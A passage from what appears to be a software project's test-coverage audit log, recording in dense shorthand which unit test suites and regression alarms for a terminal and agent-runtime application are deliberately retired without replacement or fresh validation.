runtime evidence. Fourteen unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5534 removes the whole last-active retention TTL selector suite (one authored/finite case). Its absolute-TTL and inside-boundary alarm is intentionally lost without equivalent replacement or fresh execution. Active command/file selectors drop only that suite; historical receipts remain at their original scope. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation 